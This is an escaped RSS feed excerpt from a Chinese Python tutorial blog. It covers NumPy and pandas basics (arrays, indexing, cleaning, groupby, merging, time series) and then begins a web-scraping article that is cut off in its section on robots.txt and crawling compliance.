&lt;h2&gt;一、NumPy 概述与数组创建&lt;/h2&gt;
&lt;p&gt;NumPy（Numerical Python）核心是 &lt;strong&gt;ndarray（多维数组）&lt;/strong&gt;，比 Python 列表快几十倍（底层 C 实现、连续内存、向量化运算）。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip install numpy
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;import numpy as np

# 从列表创建
a = np.array([1, 2, 3, 4])              # 一维
b = np.array([[1, 2], [3, 4]])          # 二维
print(a.shape)                           # (4,)  形状
print(b.shape)                           # (2, 2)
print(a.dtype)                           # int64 数据类型
print(a.ndim)                            # 2 维度数

# 快速创建特殊数组
np.zeros((2, 3))          # 全 0，2行3列
np.ones((2, 3))           # 全 1
np.full((2, 3), 7)        # 全 7
np.eye(3)                 # 单位矩阵
np.arange(0, 10, 2)       # [0,2,4,6,8]（类似 range）
np.linspace(0, 1, 5)      # [0, 0.25, 0.5, 0.75, 1]（等间隔 5 个点）
np.random.random((2, 3))  # 2×3 随机浮点 [0,1)
np.random.randint(0, 10, (2, 3))    # 随机整数
np.random.randn(2, 3)     # 标准正态分布
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;数据类型（dtype）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;np.array([1, 2, 3], dtype=np.float32)   # 指定类型
# 常用：int32/int64、float32/float64、bool、object、datetime64
arr.astype(np.float64)                   # 类型转换
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;二、数组索引与切片&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;a = np.arange(10)                 # [0 1 2 3 4 5 6 7 8 9]

# 基本索引（和列表一样）
print(a[0], a[-1])                # 0 9
print(a[2:5])                     # [2 3 4]（切片）
print(a[::2])                     # [0 2 4 6 8]（步长 2）

# 二维索引 [行, 列]
b = np.array([[1, 2, 3], [4, 5, 6]])
print(b[0, 1])                    # 2（第0行第1列）
print(b[0])                       # [1 2 3]（第0行）
print(b[:, 1])                    # [2 5]（所有行的第1列）
print(b[0:2, 1:3])                # 子矩阵

# 布尔索引（超常用！）
print(a[a &amp;gt; 5])                   # [6 7 8 9]（筛选大于5的）
print(b[b &amp;gt; 3])                   # [4 5 6]

# 花式索引（用整数数组取多个）
print(a[[0, 2, 4]])               # [0 2 4]
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
NumPy 切片是&lt;strong&gt;视图（view）&lt;/strong&gt;，不是副本！&lt;code&gt;a[2:5][0] = 99&lt;/code&gt; 会修改原数组 &lt;code&gt;a&lt;/code&gt;。要独立副本用 &lt;code&gt;a[2:5].copy()&lt;/code&gt;。这与 Python 列表切片（返回副本）不同。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;三、数组运算与广播&lt;/h2&gt;
&lt;h3&gt;向量化运算（无需循环）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;a = np.array([1, 2, 3])
b = np.array([4, 5, 6])

print(a + b)          # [5 7 9]    逐元素加
print(a * b)          # [4 10 18]  逐元素乘（不是矩阵乘！）
print(a ** 2)         # [1 4 9]    逐元素平方
print(a / b)          # 逐元素除
print(a @ b)          # 点积（矩阵乘法用 @ 或 np.dot）
print(np.sqrt(a))     # 开方
print(np.exp(a))      # e 的幂
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;广播（Broadcasting）&lt;/h3&gt;
&lt;p&gt;不同形状的数组也能运算——NumPy 自动&quot;拉伸&quot;小数组。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 一维 + 标量：标量广播到每个元素
print(np.array([1, 2, 3]) + 10)     # [11 12 13]

# 二维 + 一维：一维沿行广播
matrix = np.array([[1, 2, 3],
                   [4, 5, 6]])
print(matrix + np.array([10, 20, 30]))
# [[11 22 33]
#  [14 25 36]]

# 广播规则：从尾部维度对齐，维度相等或其中一个为 1 才能广播
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;聚合统计&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;a = np.array([[1, 2, 3], [4, 5, 6]])

print(a.sum())              # 21 全部求和
print(a.sum(axis=0))        # [5 7 9]  按列（压缩行，axis=0 竖着算）
print(a.sum(axis=1))        # [3 15]   按行（压缩列，axis=1 横着算）
print(a.mean())             # 均值
print(a.max(), a.min())     # 最大最小
print(a.argmax())           # 最大值索引
print(a.std())              # 标准差
print(np.median(a))         # 中位数
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
&lt;strong&gt;axis 记忆法&lt;/strong&gt;：&lt;code&gt;axis=0&lt;/code&gt; 是&lt;strong&gt;沿着行的方向&lt;/strong&gt;（竖直向下），结果是&quot;每列的聚合&quot;；&lt;code&gt;axis=1&lt;/code&gt; 是&lt;strong&gt;沿着列的方向&lt;/strong&gt;（水平向右），结果是&quot;每行的聚合&quot;。可以理解为&quot;把哪个维度压扁&quot;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;四、变形与线性代数&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;a = np.arange(12)

# 变形
a.reshape(3, 4)         # 变成 3×4（元素总数要一致）
a.reshape(-1, 4)        # -1 自动计算行数
a.flatten()             # 展平成一维
a.T                     # 转置（等价 a.transpose()）

# 拼接
np.concatenate([a, b])              # 沿 axis=0 拼
np.vstack([a, b])                   # 竖直堆叠
np.hstack([a, b])                   # 水平堆叠
np.split(a, 3)                      # 拆分

# 排序、去重
np.sort(a)                          # 排序
np.unique(a)                        # 去重

# 线性代数（np.linalg）
m = np.array([[1, 2], [3, 4]])
np.linalg.inv(m)                    # 逆矩阵
np.linalg.det(m)                    # 行列式
np.linalg.eig(m)                    # 特征值/特征向量
np.linalg.solve(A, b)               # 解线性方程组 Ax=b
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;第二部分：pandas&lt;/h1&gt;
&lt;h2&gt;五、pandas 两大数据结构&lt;/h2&gt;
&lt;p&gt;pandas 建立在 NumPy 之上，提供&lt;strong&gt;带标签&lt;/strong&gt;的数据结构，是数据分析的主力。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip install pandas
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;import pandas as pd

# Series：一维带标签数组（类似带索引的 list）
s = pd.Series([10, 20, 30], index=[&quot;a&quot;, &quot;b&quot;, &quot;c&quot;], name=&quot;分数&quot;)
print(s[&quot;a&quot;])            # 10（按标签索引）
print(s.values)          # [10 20 30]（底层数组）
print(s.index)           # Index([&apos;a&apos;,&apos;b&apos;,&apos;c&apos;])

# DataFrame：二维表格（最常用，类似 Excel/数据库表）
df = pd.DataFrame({
    &quot;姓名&quot;: [&quot;张三&quot;, &quot;李四&quot;, &quot;王五&quot;],
    &quot;年龄&quot;: [25, 30, 28],
    &quot;城市&quot;: [&quot;北京&quot;, &quot;上海&quot;, &quot;广州&quot;],
    &quot;工资&quot;: [15000, 20000, 18000],
})
print(df.head())         # 前 5 行（head(n)）
print(df.tail(2))        # 后 2 行
print(df.shape)          # (3, 4) 行列数
print(df.info())         # 概览：列名、非空数、类型
print(df.describe())     # 数值列统计：计数/均值/标准差/分位数
print(df.columns)        # 列名
print(df.dtypes)         # 各列类型
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Series vs DataFrame：
- Series = 一维（一个索引 + 一列值），像带标签的数组
- DataFrame = 二维（行索引 + 多列），像 Excel 表格
- DataFrame 的每一列就是一个 Series
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;六、数据读取与写入&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# 读取
df = pd.read_csv(&quot;data.csv&quot;)                       # CSV（最常用）
df = pd.read_csv(&quot;data.csv&quot;, encoding=&quot;utf-8&quot;, sep=&quot;,&quot;, index_col=0)
df = pd.read_excel(&quot;data.xlsx&quot;, sheet_name=&quot;Sheet1&quot;)  # Excel
df = pd.read_json(&quot;data.json&quot;)                     # JSON
df = pd.read_sql(&quot;SELECT * FROM users&quot;, conn)      # 数据库

# 写入
df.to_csv(&quot;out.csv&quot;, index=False, encoding=&quot;utf-8-sig&quot;)  # index=False 不写行号
df.to_excel(&quot;out.xlsx&quot;, index=False)
df.to_json(&quot;out.json&quot;, orient=&quot;records&quot;, force_ascii=False)
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
读中文 CSV 常见乱码：&lt;code&gt;encoding&lt;/code&gt; 试 &lt;code&gt;utf-8&lt;/code&gt;、&lt;code&gt;gbk&lt;/code&gt;、&lt;code&gt;utf-8-sig&lt;/code&gt;（带 BOM）。&lt;code&gt;to_csv&lt;/code&gt; 用 Excel 打开乱码就用 &lt;code&gt;encoding=&quot;utf-8-sig&quot;&lt;/code&gt;。&lt;code&gt;index=False&lt;/code&gt; 避免多出一列无意义的行号。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;七、数据选择与筛选&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;df = pd.DataFrame({
    &quot;姓名&quot;: [&quot;张三&quot;, &quot;李四&quot;, &quot;王五&quot;, &quot;赵六&quot;],
    &quot;年龄&quot;: [25, 30, 28, 35],
    &quot;城市&quot;: [&quot;北京&quot;, &quot;上海&quot;, &quot;广州&quot;, &quot;北京&quot;],
    &quot;工资&quot;: [15000, 20000, 18000, 25000],
})

# 选列
df[&quot;姓名&quot;]                    # 单列（返回 Series）
df[[&quot;姓名&quot;, &quot;工资&quot;]]          # 多列（返回 DataFrame）

# loc：按标签选；iloc：按位置选
df.loc[0]                     # 第0行（标签）
df.loc[0, &quot;姓名&quot;]             # 第0行&quot;姓名&quot;列的值
df.loc[0:2, [&quot;姓名&quot;, &quot;工资&quot;]] # 标签切片（含末尾）+ 选列
df.iloc[0:2, 0:2]             # 位置切片（不含末尾）

# 布尔索引（条件筛选，最常用！）
df[df[&quot;年龄&quot;] &amp;gt; 28]                       # 年龄大于28的行
df[df[&quot;城市&quot;] == &quot;北京&quot;]                  # 北京的行
df[(df[&quot;年龄&quot;] &amp;gt; 25) &amp;amp; (df[&quot;工资&quot;] &amp;gt; 16000)]  # 多条件用 &amp;amp; | （不是 and or）
df[df[&quot;城市&quot;].isin([&quot;北京&quot;, &quot;上海&quot;])]     # 在列表中
df[df[&quot;姓名&quot;].str.contains(&quot;张&quot;)]         # 字符串包含

# 筛选列
df.loc[df[&quot;年龄&quot;] &amp;gt; 28, [&quot;姓名&quot;, &quot;工资&quot;]] # 条件行 + 指定列
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
多条件筛选：用 &lt;code&gt;&amp;amp;&lt;/code&gt;（与）、&lt;code&gt;|&lt;/code&gt;（或）、&lt;code&gt;~&lt;/code&gt;（非），&lt;strong&gt;不是&lt;/strong&gt; Python 的 &lt;code&gt;and/or/not&lt;/code&gt;；且每个条件要用&lt;strong&gt;括号&lt;/strong&gt;包起来（运算符优先级）。&lt;code&gt;df[df.a&amp;gt;1 &amp;amp; df.b&amp;gt;2]&lt;/code&gt; 会报错，必须 &lt;code&gt;df[(df.a&amp;gt;1) &amp;amp; (df.b&amp;gt;2)]&lt;/code&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;八、数据清洗&lt;/h2&gt;
&lt;p&gt;真实数据往往&quot;脏&quot;（缺失、重复、类型错、异常值），清洗是数据分析最耗时的一步。&lt;/p&gt;
&lt;h3&gt;缺失值处理&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 检测缺失
df.isnull().sum()              # 每列缺失数量
df.isna().any()                # 哪些列有缺失

# 处理缺失
df.dropna()                    # 删除含缺失的行
df.dropna(axis=1)              # 删除含缺失的列
df.dropna(subset=[&quot;工资&quot;])     # 只看某列
df.fillna(0)                   # 用 0 填充
df[&quot;工资&quot;].fillna(df[&quot;工资&quot;].mean(), inplace=True)  # 用均值填充
df.fillna(method=&quot;ffill&quot;)      # 用前一个值填充（时间序列常用）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;重复值处理&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;df.duplicated().sum()          # 重复行数
df.drop_duplicates()           # 删除重复行
df.drop_duplicates(subset=[&quot;姓名&quot;], keep=&quot;last&quot;)  # 按某列去重，保留最后
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;类型转换与替换&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;df[&quot;年龄&quot;] = df[&quot;年龄&quot;].astype(int)          # 转类型
df[&quot;日期&quot;] = pd.to_datetime(df[&quot;日期&quot;])      # 转日期
df.replace({&quot;城市&quot;: {&quot;北京&quot;: &quot;北京市&quot;}})     # 替换值
df[&quot;城市&quot;] = df[&quot;城市&quot;].str.strip()          # 去空格
df.rename(columns={&quot;姓名&quot;: &quot;名字&quot;})          # 重命名列
df[&quot;姓名&quot;].str.upper()                       # 字符串批量操作
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;异常值处理&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 用 IQR（四分位距）识别异常值
Q1 = df[&quot;工资&quot;].quantile(0.25)
Q3 = df[&quot;工资&quot;].quantile(0.75)
IQR = Q3 - Q1
outliers = df[(df[&quot;工资&quot;] &amp;lt; Q1 - 1.5*IQR) | (df[&quot;工资&quot;] &amp;gt; Q3 + 1.5*IQR)]

# 处理：删除、截断（clip）或替换
df[&quot;工资&quot;] = df[&quot;工资&quot;].clip(lower=Q1-1.5*IQR, upper=Q3+1.5*IQR)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;九、新增列与 apply&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# 向量化新增列（推荐，快）
df[&quot;年薪&quot;] = df[&quot;工资&quot;] * 12
df[&quot;高薪&quot;] = df[&quot;工资&quot;] &amp;gt; 18000               # 布尔列
df[&quot;等级&quot;] = np.where(df[&quot;工资&quot;] &amp;gt; 20000, &quot;A&quot;, &quot;B&quot;)  # 条件赋值

# apply：对每行/每列应用函数
df[&quot;工资&quot;].apply(lambda x: x / 1000)          # 对每个元素
df.apply(lambda row: row[&quot;工资&quot;] * 12, axis=1) # 对每行（axis=1）
df[&quot;年龄&quot;].map({25: &quot;青年&quot;, 30: &quot;中年&quot;})       # 映射（字典）
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
能用&lt;strong&gt;向量化运算&lt;/strong&gt;（如 &lt;code&gt;df[&quot;工资&quot;]*12&lt;/code&gt;）就别用 &lt;code&gt;apply&lt;/code&gt;——向量化是 C 级别批量运算，&lt;code&gt;apply&lt;/code&gt; 本质是 Python 循环，慢很多。&lt;code&gt;apply&lt;/code&gt; 留给无法向量化的复杂逻辑。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;十、分组聚合（GroupBy）&lt;/h2&gt;
&lt;p&gt;数据分析核心操作：&lt;strong&gt;Split（分组）→ Apply（计算）→ Combine（合并）&lt;/strong&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;df = pd.DataFrame({
    &quot;部门&quot;: [&quot;技术&quot;, &quot;技术&quot;, &quot;销售&quot;, &quot;销售&quot;, &quot;技术&quot;],
    &quot;城市&quot;: [&quot;北京&quot;, &quot;上海&quot;, &quot;北京&quot;, &quot;上海&quot;, &quot;北京&quot;],
    &quot;工资&quot;: [20000, 25000, 12000, 15000, 22000],
})

# 按单列分组聚合
df.groupby(&quot;部门&quot;)[&quot;工资&quot;].mean()        # 各部门平均工资
df.groupby(&quot;部门&quot;)[&quot;工资&quot;].agg([&quot;mean&quot;, &quot;max&quot;, &quot;min&quot;, &quot;count&quot;])  # 多个聚合

# 按多列分组
df.groupby([&quot;部门&quot;, &quot;城市&quot;])[&quot;工资&quot;].sum()

# agg：不同列用不同聚合
df.groupby(&quot;部门&quot;).agg({
    &quot;工资&quot;: [&quot;mean&quot;, &quot;sum&quot;],
    &quot;城市&quot;: &quot;count&quot;,
})

# 自定义聚合函数
df.groupby(&quot;部门&quot;)[&quot;工资&quot;].agg(lambda x: x.max() - x.min())

# transform：结果广播回原形状（不压缩）
df[&quot;部门均薪&quot;] = df.groupby(&quot;部门&quot;)[&quot;工资&quot;].transform(&quot;mean&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;十一、合并与重塑&lt;/h2&gt;
&lt;h3&gt;合并（merge / concat / join）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# merge：类似 SQL JOIN，按键合并两个 DataFrame
pd.merge(df1, df2, on=&quot;id&quot;)                       # 内连接（默认）
pd.merge(df1, df2, on=&quot;id&quot;, how=&quot;left&quot;)           # 左连接
pd.merge(df1, df2, left_on=&quot;uid&quot;, right_on=&quot;id&quot;)  # 不同键名
# how: inner（交集）/ left / right / outer（并集）

# concat：堆叠（上下或左右）
pd.concat([df1, df2], axis=0)          # 纵向拼接（加行）
pd.concat([df1, df2], axis=1)          # 横向拼接（加列）

# join：按索引合并
df1.join(df2, on=&quot;key&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;重塑（pivot / melt / stack）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# pivot：透视表（长表转宽表）
df.pivot(index=&quot;部门&quot;, columns=&quot;城市&quot;, values=&quot;工资&quot;)

# pivot_table：更强大的透视（可聚合）
pd.pivot_table(df, values=&quot;工资&quot;, index=&quot;部门&quot;, columns=&quot;城市&quot;,
               aggfunc=&quot;mean&quot;, fill_value=0, margins=True)  # margins 加总计

# melt：逆透视（宽表转长表）
pd.melt(df, id_vars=[&quot;部门&quot;], var_name=&quot;指标&quot;, value_name=&quot;值&quot;)

# stack / unstack：列索引 ↔ 行索引转换
df.stack()        # 列变行（宽→长）
df.unstack()      # 行变列（长→宽）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;十二、时间序列处理&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# 转成时间类型
df[&quot;日期&quot;] = pd.to_datetime(df[&quot;日期&quot;])

# 提取时间成分
df[&quot;日期&quot;].dt.year
df[&quot;日期&quot;].dt.month
df[&quot;日期&quot;].dt.day
df[&quot;日期&quot;].dt.dayofweek       # 星期几（0=周一）
df[&quot;日期&quot;].dt.strftime(&quot;%Y-%m&quot;)   # 格式化

# 设为索引后做时间序列
df.set_index(&quot;日期&quot;, inplace=True)
df[&quot;2026-09&quot;]                 # 按时间切片
df.resample(&quot;M&quot;)[&quot;销量&quot;].sum()   # 重采样：按月汇总（M月/W周/D日）
df.rolling(window=7)[&quot;销量&quot;].mean()  # 移动平均（7日窗口）

# 生成日期范围
pd.date_range(&quot;2026-01-01&quot;, periods=30, freq=&quot;D&quot;)   # 30天
pd.date_range(&quot;2026-01-01&quot;, &quot;2026-12-31&quot;, freq=&quot;M&quot;) # 每月末
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
&lt;code&gt;resample&lt;/code&gt;（重采样）用于&lt;strong&gt;降采样/升采样&lt;/strong&gt;（如按天→按月聚合），&lt;code&gt;rolling&lt;/code&gt;（滚动窗口）用于计算移动平均、移动求和等，是时间序列分析的核心工具。&lt;code&gt;freq&lt;/code&gt;：D日、W周、M月末、H时、T分。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;常见问题 Q&amp;amp;A&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1：NumPy 数组和 Python 列表有什么区别？&lt;/strong&gt;
A：NumPy 数组要求&lt;strong&gt;同类型元素&lt;/strong&gt;、内存连续、支持&lt;strong&gt;向量化运算&lt;/strong&gt;（无需循环，底层 C 实现），数值计算快几十倍；列表可存不同类型、动态大小，但运算慢。做数值/科学计算用 ndarray，普通数据存储用 list。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q2：&lt;code&gt;loc&lt;/code&gt; 和 &lt;code&gt;iloc&lt;/code&gt; 的区别？&lt;/strong&gt;
A：&lt;code&gt;loc&lt;/code&gt; 按&lt;strong&gt;标签&lt;/strong&gt;（index/columns 的名字）选取，切片&lt;strong&gt;包含&lt;/strong&gt;末尾；&lt;code&gt;iloc&lt;/code&gt; 按&lt;strong&gt;整数位置&lt;/strong&gt;选取，切片&lt;strong&gt;不包含&lt;/strong&gt;末尾（同 Python 切片）。记法：loc=labels，iloc=integer location。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q3：&lt;code&gt;axis=0&lt;/code&gt; 和 &lt;code&gt;axis=1&lt;/code&gt; 总是记混怎么办？&lt;/strong&gt;
A：&lt;code&gt;axis=0&lt;/code&gt; 是&lt;strong&gt;行的方向&lt;/strong&gt;（竖直），聚合后行数被压扁，得到&quot;每列的结果&quot;；&lt;code&gt;axis=1&lt;/code&gt; 是&lt;strong&gt;列的方向&lt;/strong&gt;（水平），聚合后列被压扁，得到&quot;每行的结果&quot;。口诀：axis=0 竖着算（对列操作），axis=1 横着算（对行操作）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q4：&lt;code&gt;SettingWithCopyWarning&lt;/code&gt; 警告怎么解决？&lt;/strong&gt;
A：这是链式赋值（&lt;code&gt;df[df.a&amp;gt;1][&quot;b&quot;]=2&lt;/code&gt;）触发的，可能改的是副本而非原数据。解决：用 &lt;code&gt;.loc&lt;/code&gt; 一步到位 &lt;code&gt;df.loc[df.a&amp;gt;1, &quot;b&quot;] = 2&lt;/code&gt;；或先 &lt;code&gt;.copy()&lt;/code&gt; 再操作。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q5：&lt;code&gt;merge&lt;/code&gt;、&lt;code&gt;concat&lt;/code&gt;、&lt;code&gt;join&lt;/code&gt; 怎么选？&lt;/strong&gt;
A：&lt;code&gt;merge&lt;/code&gt; 按&lt;strong&gt;键&lt;/strong&gt;合并（类似 SQL JOIN，最灵活）；&lt;code&gt;concat&lt;/code&gt; 单纯&lt;strong&gt;堆叠&lt;/strong&gt;（上下加行或左右加列，不看键）；&lt;code&gt;join&lt;/code&gt; 基于&lt;strong&gt;索引&lt;/strong&gt;合并（本质是 merge 的简化版）。按列匹配合并用 merge，纵向拼接用 concat。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q6：&lt;code&gt;apply&lt;/code&gt;、&lt;code&gt;map&lt;/code&gt;、&lt;code&gt;applymap&lt;/code&gt; 的区别？&lt;/strong&gt;
A：&lt;code&gt;map&lt;/code&gt; 用于 Series（逐元素，可传字典映射）；&lt;code&gt;apply&lt;/code&gt; 用于 Series 或 DataFrame（可作用于行/列，&lt;code&gt;axis&lt;/code&gt; 控制）；&lt;code&gt;applymap&lt;/code&gt; 用于 DataFrame 逐元素。能向量化就都别用它们。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q7：处理超大 CSV 内存不够怎么办？&lt;/strong&gt;
A：① &lt;code&gt;chunksize&lt;/code&gt; 分块读取：&lt;code&gt;pd.read_csv(f, chunksize=10000)&lt;/code&gt; 迭代处理；② 只读需要的列 &lt;code&gt;usecols=[...]&lt;/code&gt;；③ 指定 &lt;code&gt;dtype&lt;/code&gt; 省内存（如 category 类型）；④ 用 Polars/Dask 等大数据库；⑤ 转 Parquet 格式（列式存储，省空间读得快）。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;NumPy 与 pandas 速记&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;NumPy ndarray&lt;/strong&gt;：同类型、连续内存、向量化，比 list 快几十倍&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;创建&lt;/strong&gt;：&lt;code&gt;np.array/zeros/ones/arange/linspace/random&lt;/code&gt;；属性 &lt;code&gt;shape/dtype/ndim&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;索引&lt;/strong&gt;：&lt;code&gt;a[2:5]&lt;/code&gt;、&lt;code&gt;a[行,列]&lt;/code&gt;、布尔索引 &lt;code&gt;a[a&amp;gt;5]&lt;/code&gt;；切片是视图非副本&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;运算&lt;/strong&gt;：逐元素 &lt;code&gt;+ - * /&lt;/code&gt;、矩阵乘 &lt;code&gt;@&lt;/code&gt;、广播自动拉伸&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;聚合&lt;/strong&gt;：&lt;code&gt;sum/mean/max&lt;/code&gt; + &lt;code&gt;axis=0&lt;/code&gt;（竖算）/&lt;code&gt;axis=1&lt;/code&gt;（横算）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;pandas 结构&lt;/strong&gt;：Series（一维带标签）、DataFrame（二维表格）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;读写&lt;/strong&gt;：&lt;code&gt;read_csv/read_excel/read_sql&lt;/code&gt; + &lt;code&gt;to_csv(index=False)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;选择&lt;/strong&gt;：&lt;code&gt;loc&lt;/code&gt;（标签，含末尾）/&lt;code&gt;iloc&lt;/code&gt;（位置，不含末尾）/布尔索引（&lt;code&gt;&amp;amp;|~&lt;/code&gt;+括号）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;清洗&lt;/strong&gt;：缺失 &lt;code&gt;isnull/dropna/fillna&lt;/code&gt;、重复 &lt;code&gt;drop_duplicates&lt;/code&gt;、类型 &lt;code&gt;astype/to_datetime&lt;/code&gt;、异常值 &lt;code&gt;clip&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;分析&lt;/strong&gt;：&lt;code&gt;groupby().agg()&lt;/code&gt;（分组聚合）、&lt;code&gt;merge/concat&lt;/code&gt;（合并）、&lt;code&gt;pivot_table/melt&lt;/code&gt;（重塑）、&lt;code&gt;resample/rolling&lt;/code&gt;（时间序列）；能向量化就别用 apply&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/python-roadmap-13-visualization/&quot;&gt;数据可视化&lt;/a&gt; 将讲解 matplotlib 绘制各类图表、子图与样式定制、seaborn 统计可视化，以及 pyecharts 交互式图表，让数据&quot;会说话&quot;。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/python-roadmap-00-overview/&quot;&gt;Python 学习路线总览&lt;/a&gt; | &lt;a href=&quot;/blog/python-roadmap/&quot;&gt;合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>网络爬虫</title><link>http://117.72.32.87/blog/posts/python-roadmap-11-web-scraping/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/python-roadmap-11-web-scraping/</guid><description>Python 网络爬虫全面讲解：爬虫原理与 robots 协议、requests 请求、BeautifulSoup/lxml 解析、正则与 XPath 提取、Selenium 处理动态渲染页面、Scrapy 框架、并发抓取、数据持久化与反爬应对及合规。</description><pubDate>Fri, 18 Sep 2026 06:30:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文对应仓库 &lt;strong&gt;Day61~65&lt;/strong&gt;：网络爬虫原理、抓取动态内容、并发下载、Scrapy 框架、分布式爬虫。爬虫是数据采集的核心技能，广泛用于数据分析、舆情监控、比价、SEO 等场景。但务必&lt;strong&gt;合法合规、尊重目标站点&lt;/strong&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;一、爬虫原理与合规&lt;/h2&gt;
&lt;h3&gt;爬虫工作流程&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1. 获取 URL（种子页面）
2. 发送 HTTP 请求，下载页面内容（HTML/JSON）
3. 解析页面，提取数据 + 提取新 URL
4. 数据持久化（文件/数据库）
5. 对新 URL 重复上述过程（广度/深度优先）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;robots 协议&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;robots.txt&lt;/code&gt; 是网站的&quot;君子协定&quot;，声明哪些路径允许/禁止爬虫访问。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 访问 https://example.com/robots.txt 查看
User-agent: *              # 对所有爬虫
Disallow: /admin/          # 禁止爬 /admin/
Disallow: /private/
Allow: /public/            # 允许爬 /public/
Crawl-delay: 10            # 爬取间隔 10 秒
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# Python 内置检查 robots 协议
from urllib.robotparser import RobotFileParser

rp = RobotFileParser()
rp.set_url(&quot;https://example.com/robots.txt&quot;)
rp.read()
print(rp.can_fetch(&quot;*&quot;, &quot;https://example.com/data/&quot;))   # True/False
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
&lt;strong&gt;爬虫合规红线&lt;/strong&gt;（务必遵守，否则可能触犯法律）：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;遵守 robots.txt 协议&lt;/li&gt;
&lt;li&gt;不爬取需要登录/付费/个人隐私的数据&lt;/li&gt;
&lt;li&gt;控制频率，不给目标服务器造成压力（加延时、限并发）&lt;/li&gt;
